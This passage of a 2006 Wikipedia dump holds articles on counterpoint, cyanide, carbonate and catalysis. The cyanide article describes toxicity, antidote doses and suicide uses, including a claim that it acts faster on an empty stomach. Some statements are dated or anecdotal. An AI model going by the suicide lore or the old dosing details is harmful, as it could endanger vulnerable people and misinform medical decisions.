It is a common and pedantic misconception that counterpoint is ''defined'' by these five species, and therefore anything that does not follow the strict rules of the five species is not counterpoint. This is not true; although much contrapuntal music of the [[common practice period]] indeed adheres to the rules, there are exceptions. Fux's book and its concept of &quot;species&quot; was purely a method of teaching counterpoint, not a definitive or rigidly prescriptive set of rules for it.  He arrived at his method of teaching (or so he believed, at least) by examining the works of [[Giovanni Pierluigi da Palestrina]], an important late 16th century composer and one who in Fux's time was held in the highest esteem as a contrapuntist. Works in the contrapuntal style of the 16th century&amp;mdash;the &quot;prima pratica&quot; or &quot;stile antico,&quot; it was called by modernist composers then&amp;mdash;were often said by Fux's contemporaries to be in &quot;Palestrina style.&quot;  Indeed, Fux's treatise is a rather accurate compendeum of Palestrina's techniques.

&lt;nowiki&gt;*&lt;/nowiki&gt; (Note: in counterpoint, the parts or individual melodic strands are often called ''voices'', even if the music is thought of as instrumental.)

==Contrapuntal derivations==

Since the [[Renaissance_music|Renaissance]] period in European music, much music which is considered contrapuntal has been written in imitative counterpoint.  In imitative counterpoint, two or more voices enter at different times, and (especially when entering) each voice repeats some version of the same melodic element.  The ''[[fantasia (music)|fantasia]]'', the ''[[ricercar]]'', and later, the [[fugue]] (the contrapuntal form ''par excellence'') all feature imitative counterpoint, which also frequently appears in [[choir|choral]] works such as [[motet]]s and [[madrigal (music)|madrigals]].  Imitative counterpoint has spawned a number of devices that composers have turned to in order to give their works both [[mathematical rigor]] and expressive range.  Some of these devices include: 

* '''[[Inversion (music)|Inversion]]''': The inverse of a given fragment of melody is the fragment turned upside down – so if the original fragment has a rising major third (see [[interval (music)|interval]]), the inverted fragment has a falling major (or perhaps minor) third. (Compare, in [[twelve tone technique]], the inversion of the tone row, which is the so-called prime series turned upside down.) In a completely separate sense, a contrapuntal inversion of melodies being simultaneously sounded by voices is the subsequent switching of the melodies between voices, so that for example an upper-voice melody is now sounded in some lower voice, and vice versa.

* '''[[Retrograde]]''' refers to the contrapuntal device whereby notes in an imitative voice sound backwards in relation to their order in the original.

* '''[[Retrograde inversion]]''' is where the imitative voice sounds notes both backwards and upside down.

*'''[[Augmentation]]''' is when in one of the parts in imitative counterpoint the notes are extended in duration compared to the rate at which they were sounded when introduced.

*'''[[Diminution]]''' is when in one of the parts in imitative counterpoint the notes are reduced in duration compared to the rate at which they were sounded when introduced.

==Dissonant counterpoint==
Dissonant counterpoint was first theorized by [[Charles Seeger]] as &quot;at first purely a school-room discipline,&quot; consisting of species counterpoint but with all the traditional rules reversed. First species counterpoint is required to be all dissonances, establishing &quot;dissonance, rather than consonance, as the rule,&quot; and consonances are &quot;resolved&quot; through a skip, not step. He wrote that &quot;the effect of this discipline&quot; was &quot;one of purification.&quot; Other [[aspects of music|aspects of composition]], such as rhythm, could be &quot;dissonated&quot; by applying the same principle (Charles Seeger, &quot;On Dissonant Counterpoint,&quot; Modern Music 7, no. 4 (June-July 1930): 25-26).

Seeger was not the first to employ dissonant counterpoint, but was the first to theorize and promote it. Other composers who have used dissonant counterpoint, if not in the exact manner prescribed by Charles Seeger, include [[Ruth Crawford-Seeger]], [[Carl Ruggles]], [[Dane Rudhyar]], and [[Arnold Schoenberg]].

==Source==
*Corozine, Vince (2002). ''Arranging Music for the Real World: Classical and Commercial Aspects''. ISBN 0786649615.

==External links==
*[http://www.ntoll.org/interests/music/species/ A guide to species counterpoint]
*[http://www.musique.umontreal.ca/personnel/Belkin/bk.C/index.html Principles of Counterpoint]
*[http://www.o-art.org/history/early/Seeger.html On Dissonant Counterpoint by David Nicholls]
*[http://www.findarticles.com/cf_dls/m2298/2_17/61551810/p6/article.jhtml?term= Dane Rudhyar's Vision of American Dissonance by Carol J. Oja]
*[http://www.music.vt.edu/musicdictionary/textd/Dissonantcounterpoint.html Dissonant counterpoint examples and definition]
*[http://www.music.columbia.edu/~chris/ctrpnt.html De-Mystifying Tonal Counterpoint or How to Overcome Your Fear of Composing Counterpoint Exercises] by Christopher Dylan Bailey, composer at Columbia
*[http://www.greenwych.ca/musicmid.htm New Tonal Music composed with emphasis on counterpoint]
*[http://www.greenwych.ca/drone.htm Role of the drone in the evolution of counterpoint and harmony]

[[Category:Counterpoint]]

[[de:Kontrapunkt]]
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[[es:Contrapunto]]
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[[fr:Contrepoint]]
[[ko:대위법]]
[[is:Kontrapunktur]]
[[it:Contrappunto]]
[[he:קונטרפונקט]]
[[nl:Contrapunt]]
[[ja:対位法]]
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[[zh:对位法]]</text>
    </revision>
  </page>
  <page>
    <title>Cyanide</title>
    <id>5910</id>
    <revision>
      <id>42017443</id>
      <timestamp>2006-03-03T06:17:42Z</timestamp>
      <contributor>
        <ip>203.200.95.130</ip>
      </contributor>
      <comment>/* In fiction */</comment>
      <text xml:space="preserve">A '''cyanide''' is any [[chemical compound]] that contains the '''cyano group''' C&amp;equiv;N, with the [[carbon]] [[atom]] [[chemical bond|triple-bonded]] to the [[nitrogen]] atom. [[inorganic chemistry|Inorganic]] cyanides contain the highly toxic '''cyanide ion''' CN&lt;sup&gt;–&lt;/sup&gt;, and are the [[salt]]s of the [[acid]] [[hydrogen cyanide]] ([[hydrogen|H]]CN). [[Organic chemistry|Organic]] cyanides contain the cyano group single-bonded to another carbon atom, and are also known as [[nitrile]]s. The cyano group is also known as the nitrile group. 

== Appearance and odour ==
Hydrogen cyanide is a colorless gas with a faint, bitter, [[almond]]-like odour. Nearly 40 percent of the population  is unable to smell cyanide at all because they lack the necessary gene for smelling the odour. [[Sodium cyanide]] (NaCN) and [[potassium cyanide]] (KCN) are both white solids or powder with a bitter, almond-like odour in damp air.

== Occurrence and uses ==
Cyanides can be produced by certain [[bacterium|bacteria]], [[fungi]], and [[algae]], and are found in a number of foods and plants. In plants, cyanides are usually bound to sugar molecules in the form of [[glycoside|cyanogenic glycosides]] and serve the plant as defense against [[herbivore]]s. [[Cassava]] roots (aka manioc), an important potato-like food grown in tropical countries, contain cyanogenic glycosides and must be processed prior to consumption (usually by extended boiling).
[[Fruit]]s that have a pit, such as [[cherry|cherries]] and [[apricot]]s, often contain either cyanides or cyanogenic glycosides in the pit. [[Apple]] seeds do as well. Bitter [[almond]]s, from which almond oil and flavouring is made, also contain a cyanogenic glycoside, [[amygdalin]].

[[Hydrogen cyanide]] is contained in vehicle exhaust and in [[tobacco]] smoke. Because the smoke of some burning plastics contains hydrogen cyanide, house fires often result in cyanide poisonings of the inhabitants. A deep [[blue]] pigment called [[Prussian blue]], used in the making of [[blueprint]]s, is [[iron]](III) ferrocyanide (hence the name ''cyanide'', from [[cyan]], a shade of blue). It produces hydrogen cyanide when exposed to acids. 

[[Gold]] and [[silver]] cyanides are among the very few [[soluble]] forms of these metals, and cyanides are thus used in [[mining]], [[electroplating]], [[metallurgy]], [[jewelry]] and [[photography]] for chemical [[gilding]], [[buffing]], and extraction of gold. (See also below under [[#Mining|Mining]].)

Furthermore, cyanides and hydrogen cyanide are used in the production of chemicals including [[plastics]], and as [[insecticide]]s when fumigating ships. In the past they have also been used as rat poison.

In organic synthesis, cyanides are often used to lengthen the carbon chain:

RX + CN&lt;sup&gt;–&lt;/sup&gt; &amp;rarr; RCN ([[Nucleophilic Substitution]]) followed by
# RCN + H&lt;sub&gt;3&lt;/sub&gt;O&lt;sup&gt;+&lt;/sup&gt; &amp;rarr; [[carboxylic acid|RCOOH]] ([[Hydrolysis]]), or
# RCN + [[Lithium tetrahydridoaluminate|LiAlH&lt;sub&gt;4&lt;/sub&gt;]] &amp;rarr; [[amine|RCH&lt;sub&gt;2&lt;/sub&gt;NH&lt;sub&gt;2&lt;/sub&gt;]] (under [[reflux]] in dry [[diethyl ether|ether]], followed by addition of H&lt;sub&gt;3&lt;/sub&gt;O&lt;sup&gt;+&lt;/sup&gt;), or 
# RCN + [[Sodium tetrahydridoborate|NaBH&lt;sub&gt;4&lt;/sub&gt;]] &amp;rarr; [[aldehyde|RCOH]].

In all the above cases, the number of carbon atoms of the main chain R is increased by one.

[[Potassium ferrocyanide]] is used to achieve a blue colour on cast [[bronze sculpture]]s during the final finishing stage of the sculpture. On its own, it will produce a very dark shade of blue and is often mixed with other chemicals to achieve the desired tint and hue.  It is applied using a torch and paint brush while wearing the standard safety equipment used for any patina application; rubber gloves, safety glasses and a respirator. The actual amount of cyanide in the mixture varies according to the recipes used by each foundry.

Two cyanide ions can bond to each other via their carbon atoms, forming the gas [[cyanogen]] (NC-CN).

=== Mining ===

Cyanide salts are used in [[silver]] and [[gold]] mining, via the so-called ''[[cyanide process]]''. Finely ground high-grade ore is mixed with the cyanide solution (concentration of about two kilogram NaCN per tonne); low-grade ores are stacked into heaps and sprayed with cyanide solution (concentration of about one kilogram NaCN per ton). The precious-metal [[cation]]s are complexed by the cyanide [[anion]]s to form soluble derivatives, e.g. [Au(CN)&lt;sub&gt;2&lt;/sub&gt;]&lt;sup&gt;-&lt;/sup&gt; and [Ag(CN)&lt;sub&gt;2&lt;/sub&gt;]&lt;sup&gt;-&lt;/sup&gt;. The &quot;pregnant liquor&quot; containing these ions is separated from the leftover dirt, which is discarded to a tailing pond or spent (the recoverable gold having been removed) heap.  The metal is recovered from the &quot;pregnant solution&quot; by reduction with [[zinc]] dust or by absorption onto activated carbon. This process can result in environmental and health problems.  Aqueous cyanide is hydrolyzed rapidly, especially in sunlight.  It can mobilize some heavy metals such as mercury if present.  Gold can also be associated with arsenopyrite (FeAsS), which is similar to [[iron pyrite]] (fool's gold), wherein half of the sulfur atoms are replaced by arsenic. Au-containing arsenopyrite ores are similarly reactive toward cyanide.

=== Fishing ===
Cyanides are illegally used to capture live fish near [[coral reef]]s for the [[aquarium]] and seafood markets.  This fishing occurs mainly in the [[Philippines]], [[Indonesia]] and the [[Caribbean]] to supply the 2 million marine aquarium owners in the world. In this method, a diver uses a large, needleless [[syringe]] to squirt a cyanide solution into areas where the fish are hiding, stunning them so that they can be easily gathered. Many fish caught in this fashion die immediately, or in shipping. Those that survive to find their way into pet stores often die from shock, or from massive digestive damage. The high concentrations of cyanide on reefs so harvested has also resulted in cases of cyanide poisioning among local fishermen and their families.

Environmental organizations decry the practice, as do responsible aquarists and aquarium dealers. 

To prevent the trade of illegally-caught aquarium fish, the Marine Aquarium Council (Headquarters: Honolulu, Hawaii) has created a certification in which the tropical fish are caught legally with nets only.  To ensure authenticity, &quot;MAC-Certified marine organisms bear the '''MAC-Certified''' label on the tanks and boxes in which they are kept and shipped.&quot; [http://www.aquariumcouncil.org/subpage.asp?section=13 MAC Certification].

==Toxicity==
=== Absorption ===
The most usual route of absorption is by inhalation of [[hydrogen cyanide]] gas, which can be formed from alkaline cyanides and certain complex cyanides by the action of acid. Hydrogen cyanide poisoning is also common as a result of smoke inhalation after house fires.

Ingestion is equally dangerous, although this route of absorption is usually deliberate (suicidal or criminal). Absorption through the skin is also possible, though rare.

=== Mechanism of toxicity ===
Cyanide ions bind to the iron atom of the [[enzyme]] [[cytochrome c oxidase]] in the [[mitochondria]] of cells. This deactivates the enzyme and breaks the [[electron transport chain]], meaning that the cell can no longer use the [[oxygen]] which is available to it.

Tissues that mainly depend on [[aerobic respiration]], such as the [[central nervous system]] and the [[heart]], are particularly affected.

Plants contain a cyanide-insensitive pathway for respiration in their mitochondria, and as a result are insensitive to concentrations of cyanide that are lethal to animals.

=== Clinical symptoms ===
It is difficult to give dose figures in this section due to the rapid [[metabolism]] of cyanide in the human body. Animal studies are of little help, as different species
have widely different sensitivities to cyanide: it is quite possible that there is also a considerable range of sensitivity among human individuals. The [[#Regulatory information|Regulatory information]] section below may give some guidance.

====Acute poisoning====
Inhalation of high concentrations of hydrogen cyanide causes a [[coma]] with [[seizures]], [[apnea]] and [[cardiac arrest]], with death following in a matter of minutes.

At lower doses, loss of consciousness may be preceded by general weakness, giddiness, [[headache]]s, [[Vertigo (medical)|vertigo]], confusion, and perceived difficulty in breathing. At the first stages of unconsciousness, breathing is often sufficient or even rapid, although the state of the victim progresses towards a deep coma, sometimes accompanied by [[pulmonary edema]], and finally cardiac arrest. Skin colour goes pink from high blood oxygen saturation.

====Subacute poisoning====
At doses insufficient to cause loss of consciousness, the symptoms can also include faintness, drowsiness, anxiety and excitement. Dizziness, nausea, vomiting and sweating are common.

The situation is complicated by the non-specific nature of the symptoms and by notoriety of the product.
In some cases, such symptoms are [[psychosomatic]], caused by anxiety at working with cyanides, and this is accentuated by the characteristic odor of hydrogen cyanide, detectable
by healthy, undesensitized subjects at levels far below those which are believed to be toxic (odor threshold &lt;&amp;nbsp;1&amp;nbsp;ppm). This is not to say that such
symptoms should be taken lightly: if the patient is a truly a victim of cyanide poisoning, their clinical state may deteriorate rapidly; while if the symptoms are psychosomatic, 
they will surely reoccur unless the anxieties about the safety procedures are addressed.

====Chronic exposure====
Exposure to lower levels of cyanide over a long period (e.g., after use of [[cassava]] roots as a primary food source in tropical [[Africa]]) results in increased blood cyanide levels. These may result in weakness of the fingers and toes, difficulty walking, dimness of vision, deafness, and decreased [[thyroid gland]] function, but chemicals other than cyanide may contribute to these effects. Skin contact with cyanide can produce irritation and sores.

It is not known whether cyanides can directly cause birth defects in people. Birth defects were seen in rats that ate diets of cassava roots. Effects on the reproductive system were seen in rats and mice that drank water containing sodium cyanide. 

===Diagnosis of poisoning===
There are medical tests to measure blood and urine levels of cyanide; however, small amounts of cyanide are not always detectable in blood and urine. Tissue levels of cyanide can be measured if cyanide poisoning is suspected, but cyanide is rapidly cleared from the body, so the tests must be done soon after the exposure. An almond-like odour in the breath may alert a doctor that a person was exposed to cyanide but not all people are able to smell HCN.

===Treatment of poisoning and antidotes===
The [[United States]] standard cyanide [[antidote]] kit first uses a small inhaled dose of [[amyl nitrite]] followed by intravenous sodium nitrite. This converts a portion of the hemoglobin's iron from [[ferrous]] iron to [[ferric]] iron, converting the hemoglobin into [[methemoglobin]]. Cyanide is more strongly drawn to methemoglobin than to the cytochrome [[oxidase]] of the cells, effectively pulling the cyanide off the cells and onto the methemoglobin.  Once bound with the cyanide, the methemoglobin becomes cyanmethemoglobin.  Therapy with nitrites is not innocuous.  The doses given to an adult can potentially cause a fatal [[methemoglobinemia]] in children or may cause profound hypotension. Treatment of children affected with cyanide intoxication must be individualized and is based upon their body weight and hemoglobin concentration.  The next part of the cyanide antidote kit is [[sodium thiosulfate]], which is administered intravenously.  The sodium thiosulfate and cyanmethemoglobin become [[thiocyanate]], releasing the hemoglobin, and the thiocyanate is excreted by the kidneys.

Alternative methods of treating cyanide intoxication are used in other countries.  For example, the method in France is to use hydroxycobalamin (a form of [[Vitamin B12|vitamin B&lt;sub&gt;12&lt;/sub&gt;]]), which combines with cyanide to form the harmless vitamin B&lt;sub&gt;12a&lt;/sub&gt; cyanocobalamin.  Cyanocobalamin is eliminated through the urine.  Hydroxycobalamin works both within the intravascular space and within the cells to combat cyanide intoxication.  This contrasts with methemoglobin, which acts only within the vascular space as an antidote.  Administration of [[sodium thiosulfate]] improves the ability of the hydroxycobalamin to detoxify cyanide poisoning.  This treatment is considered so effective and innocuous that it is administered routinely in Paris to victims of smoke inhalation to detoxify any associated cyanide intoxication. However it is relatively expensive and not universally available.

4-Dimethylaminophenol (4-DMAP) has been proposed in [[Germany]] as a more rapid antidote than nitrites and with (reportedly) lower toxicity.  It is used currently by the German military and by the civilian population. In humans, intravenous injection of 3 mg/kg of 4-DMAP will produce 35 percent methemoglobin levels within 1 minute. There are reports ([[:de:4-Dimethylaminophenol]]), that 4-DMAP '''is''' part of the US Cyanokit, while it '''is not''' part of the GERM Cyanokit due to side effects (e. g. [[hemolysis]]).

[[Cobalt]] [[salt]]s have also been demonstrated as effective in binding cyanide.  One current cobalt-based antidote available in Europe is dicobalt-EDTA, sold as Kelocyanor&amp;reg;. This agent chelates cyanide as the cobalticyanide.  This drug provides an antidote effect more quickly than formation of methemoglobin, but a clear superiority to methemoglobin formation has not been demonstrated. Cobalt [[Complex (chemistry)|complexes]] are quite toxic, and there have been accidents reported in the [[UK]] where patients have been given dicobalt-EDTA by mistake based on a false diagnoses of cyanide poisoning.

The [[International Programme on Chemical Safety]] issued a survey (IPCS/CEC Evaluation of Antidotes Series) which lists the following antidotal agents and their effects: Oxygen, sodium thiosulfate, amyl nitrite, sodium nitrite, 4-dimethylaminophenol, hydroxocobalamin, and dicobalt edetate ('Kelocyanor'), as well as several others[http://www.inchem.org/documents/antidote/antidote/ant02.htm#PartNumber:6]. Other commonly-recommended antidotes are 'solutions A and B' (a solution of [[ferrous sulphate]] in aqueous [[citric acid]], and aqueous [[sodium carbonate]]) and [[amyl nitrite]].

Britain's [[Health and Safety Executive]] has recommended against the use of solutions A and B because of their limited shelf life, potential to cause iron poisoning, and limited use (effective only in cases of cyanide ingestion, whereas the main modes of poisoning are ingestion and skin contact). The HSE has also questioned the usefulness of amyl nitrate due to storage/availability problems, risk of abuse, and lack of evidence of significant benefits, instead recommending Kelocyanor[http://www.hse.gov.uk/pubns/misc076.htm].

==== Glucose ====
There is evidence from animal experiments that coadministration of [[glucose]] protects against cobalt toxicity associated with the antidote agent dicobalt edetate. For this reason, glucose is often administered alongside this agent (e.g. in the formulation 'Kelocyanor').

It has also been anecdotally suggested that glucose is itself an effective counteragent to cyanide, reacting with it to form less toxic compounds that can be eliminated by the body. One theory on the apparent immunity of [[Grigory Rasputin]] to cyanide was that his killers put the poison in sweet pastries and [[madeira wine]], both of which are rich in sugar; thus, Rasputin would have been administered the poison together with massive quantities of antidote. One study found a reduction in cyanide toxicity in mice when the cyanide was first mixed with glucose[http://www.sertox.com.ar/retel/n07/02.pdf]. However, as yet glucose on its own is not an officially acknowledged antidote to cyanide poisoning.

==Poison use==

The cyanide ion, if used as [[poison]], is generally delivered in the form of gaseous [[hydrogen cyanide]] or in the form of [[potassium cyanide]] (KCN) or [[sodium cyanide]] (NaCN). 

===Gas chambers===
[[Zyklon B]], the [[poison gas]] used in [[Nazi Germany|Nazi]] [[gas chamber]]s during [[the Holocaust]], works by delivering hydrogen cyanide gas.

Cyanide is also the compound used in [[United States|U.S.]] gas chambers for [[death penalty|execution]].

===War===
Cyanides were stockpiled in both the [[Soviet Union|Soviet]] and the [[United States]] [[chemical weapon]]s arsenals in the [[1950s]] and [[1960s]]. During the [[Cold War]], the Soviet Union was thought to be planning to use hydrogen cyanide as a &quot;[[blitzkrieg]]&quot; weapon to clear a path through the opposing front line, knowing that the harmful gas itself would dissipate and allow unprotected access to the captured zone. However, as a military agent, cyanide was not considered very effective, since cyanide is lighter than air and requires a significant dose in order to incapacitate or kill.

=== Suicide ===
Cyanide salts are sometimes used as fast-acting suicide devices. Cyanide is reputed to work faster on an empty stomach, possibly because the anion is protonated by [[gastric acid|stomach acids]] to give HCN.
Famous cyanide salt suicides include:

*[[Erwin Rommel]]
*[[Adolf Hitler]] (likely, see article on [[Hitler's death]])
*[[Eva Braun]]
*[[Joseph Goebbels]]
*[[Hermann Göring]]
*[[Heinrich Himmler]]
*[[Alan Turing]]
*[[Odilo Globocnik]]
*[[Martin Bormann]]
*A North-Korean agent identified as Kim Sung Il, who along with a female accomplice in police custody in Bahrain bit into cyanide tablets hidden in cigarettes after having left a bomb onboard [[Korean Air Flight 858]] which subsequently exploded over the Indian Ocean on November 29, 1987.  The woman's life was saved by a quick-thinking police officer who knocked the cigarette away at the last minute.

Some [[espionage]] agents also carried [[glasses|spectacles]] with cyanide in the frames.  If they were caught by the enemy they could 'casually' chew the frame, releasing the cyanide, and die before having information extracted from them.

==== Jonestown ====
[[Jonestown]], [[Guyana]] was the site of the largest mass sucide of all time, where 913 members of the [[Peoples Temple]] drank a cyanide-laced cup of [[Flavor Aid]] in 1978.

===Murder===
[[Zyklon B]], the [[poison gas]] used in [[Nazi Germany|Nazi]] [[gas chamber]]s during [[the Holocaust]], works by delivering hydrogen cyanide gas.

Other murders:
*[[Goebbels children]]

=== In fiction ===
Poisoning by cyanide figures prominently in [[crime fiction]], for example [[Agatha Christie]]'s ''[[Sparkling Cyanide]]'' (also entitled ''Remembered Death''). Cyanide is also the instrument of murder in ''[[The Big Sleep]]'' by [[Raymond Chandler]] and [[Roald Dahl]]'s [[short story]] &quot;The Landlady&quot;.

In [[Gabriel Garcia Marquez]]'s ''[[Love in the Time of Cholera]]'', one of the characters (a photographer) commits suicide using gold cyanide.

==See also==
* [[:Category:Cyanides]]
* [[Victims of poisoning]]

== Sources ==
*Institut national de recherche et de sécurité (1997). &quot;[http://www.inrs.fr/inrs-pub/inrs01.nsf/inrs01_ftox_view/860430FE710FCFD7C1256CE8004F67CB/$File/ft4.pdf Cyanure d'hydrogène et solutions aqueuses]&quot;. ''Fiche toxicologique n&amp;deg; 4'', Paris:INRS, 5pp. (PDF file, ''in French'')
*Institut national de recherche et de sécurité (1997). &quot;[http://www.inrs.fr/inrs-pub/inrs01.nsf/inrs01_ftox_view/48145297F4EF18BBC1256CE8005A9FC2/$File/ft111.pdf Cyanure de sodium. Cyanure de potassium]&quot;. ''Fiche toxicologique n&amp;deg; 111'', Paris:INRS, 6pp. (PDF file, ''in French'')

== External links ==
* [http://www.atsdr.cdc.gov/MHMI/mmg8.html ATSDR medical management guidelines for cyanide poisoning (US)]
* [http://www.storysmith.net/Terrorism.htm Cyanide intoxication], by Charles Stewart
* [http://www.hse.gov.uk/pubns/misc076.htm HSE recommendations for first aid treatment of cyanide poisoning (UK)]
* [http://www.inchem.org/documents/cicads/cicads/cicad61.htm Hydrogen cyanide and cyanides] ([[CICAD]] 61)
* [http://www.inchem.org/documents/antidote/antidote/ant02.htm#SubSectionNumber:1.13.1 IPCS/CEC Evaluation of antidotes for poisoning by cyanides]
* [http://www.npi.gov.au/database/substance-info/profiles/29.html National Pollutant Inventory - Cyanide compounds fact sheet]
* [http://www.snopes.com/food/warnings/apples.asp#add Eating apple seeds is safe despite the small amount of cyanide]

[[Category:Anions]]
[[Category:Cyanides]] 
[[Category:Toxicology]] 
[[Category:Chemical weapons]]

[[bg:Цианид]]
[[da:Cyanid]]
[[de:Cyanide]]
[[es:Cianuro]]
[[fa:سیانور]]
[[fr:Cyanure]]
[[he:ציאניד]]
[[lv:Cianīdi]]
[[lt:Cianidas]]
[[nl:Cyanide]]
[[ja:シアン]]
[[pl:Cyjanek]]
[[fi:Syanidi]]
[[sv:Cyanider]]
[[zh:氰化物]]</text>
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  </page>
  <page>
    <title>Continuum Hypothesis.</title>
    <id>5911</id>
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      <id>15904086</id>
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        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Continuum hypothesis]]
</text>
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  </page>
  <page>
    <title>Carbonate</title>
    <id>5912</id>
    <revision>
      <id>41820961</id>
      <timestamp>2006-03-01T23:31:47Z</timestamp>
      <contributor>
        <username>Worldtraveller</username>
        <id>93723</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/147.182.5.50|147.182.5.50]] ([[User talk:147.182.5.50|talk]]) to last version by 165.247.40.235</comment>
      <text xml:space="preserve">'''Carbonate''' is an [[anion]] with a charge of &amp;minus;2 and an [[empirical formula]] of CO&lt;sub&gt;3&lt;/sub&gt;&lt;sup&gt;2&amp;minus;&lt;/sup&gt;.

Simple carbonate salts tend to be insoluble in water, with [[solubility constant|solubility constants]] of less than 1×10&lt;sup&gt;&amp;minus;8&lt;/sup&gt;. The exceptions to this are salts formed with the [[ammonium]] ion (NH&lt;sub&gt;4&lt;/sub&gt;&lt;sup&gt;+&lt;/sup&gt;) or ions of the [[alkali metals]].

For an [[aqueous solution]], carbonate exists in three forms. In strongly basic conditions, the carbonate ion, CO&lt;sub&gt;3&lt;/sub&gt;&lt;sup&gt;2&amp;minus;&lt;/sup&gt;, predominates. In weakly basic conditions, [[bicarbonate]] ion, HCO&lt;sub&gt;3&lt;/sub&gt;&lt;sup&gt;&amp;minus;&lt;/sup&gt; is prevalent. In acid conditions, aqueous [[carbon dioxide]], CO&lt;sub&gt;2&lt;/sub&gt;(aq), is the main form. This also contains a minute amount of [[carbonic acid]], H&lt;sub&gt;2&lt;/sub&gt;CO&lt;sub&gt;3&lt;/sub&gt;. Thus [[sodium carbonate]] is basic, [[sodium bicarbonate]] is weakly basic, while carbon dioxide itself is a weak acid.

In biological systems the [[enzyme]], [[carbonic anhydrase]], [[catalyzes]] this interconversion between carbon dioxide and carbonate ions. To test for the presence of the carbonate anion in a salt, the addition of dilute [[hydrochloric acid]] will yield carbon dioxide gas.

Carbonate-containing [[salt]]s are industrially and [[mineral]]ogically
ubiquitous.  The term &quot;carbonate&quot; is also commonly used to refer to one of these salts or [[carbonate minerals]]. Most common is [[calcite]], or calcium carbonate, the chief constituent of [[limestone]].  The process of removing carbon dioxide from these salts by heating is called [[calcination]].

The term is also used as a verb, to describe the process of
raising carbonate and [[bicarbonate]] concentrations in water, see also [[carbonated water]], either by the introduction under pressure of [[carbon dioxide]] gas into the water, or by dissoving carbonate or bicarbonate salts into the water.

At one time, it was thought that the presence of carbonates in [[Rock (geology)|rock]] was unequivocal evidence for the presence of liquid water. Recent observations of two [[planetary nebula]]e reported in the [[January 17]], [[2002]] issue of the scientific journal [[Nature (journal)|''Nature'']] indicate that carbonates can form in interplanetary space.

Carbonates were detected in the [[Gusev Crater]] on Mars by the [[Mars Exploration Rover]] ''Spirit'' on [[January 9]], [[2004]]. [http://www.jpl.nasa.gov/mer2004/rover-images/jan-09-2004/captions/image-10.html]

==See also==
* [[Ocean acidification]]

{{chem-stub}}
[[Category:Carbonates]]
[[Category:Oxoanions]]

[[cs:Uhličitan]]
[[da:Karbonat]]
[[de:Carbonat]]
[[eo:Karbonato]]
[[fr:Carbonate]]
[[lv:Karbon&amp;#257;ti]]
[[nl:carbonaat]]
[[ja:&amp;#28845;&amp;#37240;&amp;#22633;]]
[[pl:W&amp;#281;glany]]
[[fi:Karbonaatti]]</text>
    </revision>
  </page>
  <page>
    <title>Catalyzes</title>
    <id>5913</id>
    <revision>
      <id>15904088</id>
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      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Catalysis]]
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  </page>
  <page>
    <title>Catalysis</title>
    <id>5914</id>
    <revision>
      <id>39832047</id>
      <timestamp>2006-02-16T04:00:25Z</timestamp>
      <contributor>
        <username>JohnJohn</username>
        <id>188357</id>
      </contributor>
      <minor />
      <text xml:space="preserve">[[Image:Catalyst_effect.png|thumb|right|292px|Generic graph showing the effect of a catalyst in an hypotetical exothermic chemical reaction. Notice that the catalysed (red) pathway, despite having a lower activation energy, produces the same final result.]]
In [[chemistry]] and [[biology]], '''catalysis'''  is the acceleration of the [[reaction rate]] of a [[chemical reaction]] by means of a substance, called a [[catalyst]], that is itself not consumed by the overall reaction. The word is derived from the [[Greek language|Greek]] [[noun]] &amp;#954;&amp;#945;&amp;#964;&amp;#940;&amp;#955;&amp;#965;&amp;#963;&amp;#953;&amp;#962;, related to the [[verb]] &amp;#954;&amp;#945;&amp;#964;&amp;#945;&amp;#955;&amp;#973;&amp;#949;&amp;#953;&amp;#957;,  meaning ''to annul'' or ''to untie'' or ''to pick up''. The chinese symbol for catalyst is the same as the one for marriage broker.

Catalysts accelerate the chemical reaction by providing a lower energy pathway between the [[reactant]]s and the reaction products. This usually involves the formation of one or more intermediates, which cannot be formed without the catalyst. The formation of this intermediate and subsequent reaction generally has a much lower [[activation energy]] barrier than is required for the direct reaction of reactants to products. The [[SI derived unit]] for measuring '''catalytic activity''' is the [[katal]], which is moles per second. The degree of activity of a catalyst can also be described by the [[turn over number]] or TON  and the catalytic efficiency by the ''turn over frequency'' (TOF). The biochemical equivalent is the [[enzyme unit]].

The opposite of a catalyst is an [[inhibitor]], which slows down the rate of a chemical reaction. In [[Autocatalysis]] a reactant or reaction product is itself the [[catalyst]]. Two types of catalysis are generally distinguished. In [[homogeneous catalysis]] the reactants and catalyst are in the same phase and in [[heterogeneous catalysis]] the catalyst is in a different phase than the reactants and products. A '''promoter''' is an accelerator of catalysis, but not a catalyst by itself.

In nature [[enzyme]]s are catalysts in the [[Metabolic pathway]]. In [[biochemistry]] catalysis is also observed with [[Abzyme]]s, [[Ribozyme]]s and [[deoxyribozyme]]s. Catalysis is at the heart of the [[Bombardier beetle]] defence mechanism. In [[biocatalysis]] enzymes are used as catalyst in [[organic chemistry]].

The phrase ''catalysis'' was coined by [[Jöns Jakob Berzelius]] in 1835 who was the first to note that certain chemicals speed up a reaction. Other early chemists involved in catalysis were [[Alexander Mitscherlich]] who in 1831 referred to ''contact processes'' and [[Johann Wolfgang Döbereiner]] who spoke of ''contact action'' and whose [[Lighter (fire starter)|lighter]] based on [[hydrogen]] and a [[platinum]] sponge became a hugh commercial success in the 1820’s.

Catalysis is a very important process from an industrial point of view since the production of most industrially important chemicals involve catalysis. The earliest commercial processes are the [[Haber process]] for [[ammonia]] synthesis and the [[Fischer-Tropsch synthesis]]. Research into catalysis is a major field in applied science, and involves many fields of chemistry, notably in [[organometallic chemistry]],
and physics.
Catalysis is important in many aspects of [[environmental science]] from the [[catalytic converter]] in automobiles to the causes of the [[ozone hole]].

==Important catalytic processes==
*[[Haber process]]
*[[Steam reforming]] of [[hydrocarbons]] to produce [[synthesis gas]]
*[[Methanol]] synthesis
*[[Fischer-Tropsch synthesis]].
*[[Hydrogenation]]
*[[Sulfuric acid]] production
*[[Nitric acid]] production
*[[Petroleum]] refining and processing
**[[Catalytic cracking]] - breaking long-chain hydrocarbons into smaller pieces
**[[Naphtha]] reforming
**[[Alkylation]]
*[[Fuel cell]]s
*[[Transesterification]]
*[[Acid-base catalysis]]

== External links==
* W.A. Herrmann Technische Universität presentation [http://aci.anorg.chemie.tu-muenchen.de/wah/vortraege/catalysis.pdf]
* [[University of York]] catalyst pages [http://www.uyseg.org/catalysis/pages/cat_frames.htm]

[[Category:Catalysts]]

[[de:Katalyse]]
[[es:Catálisis]]
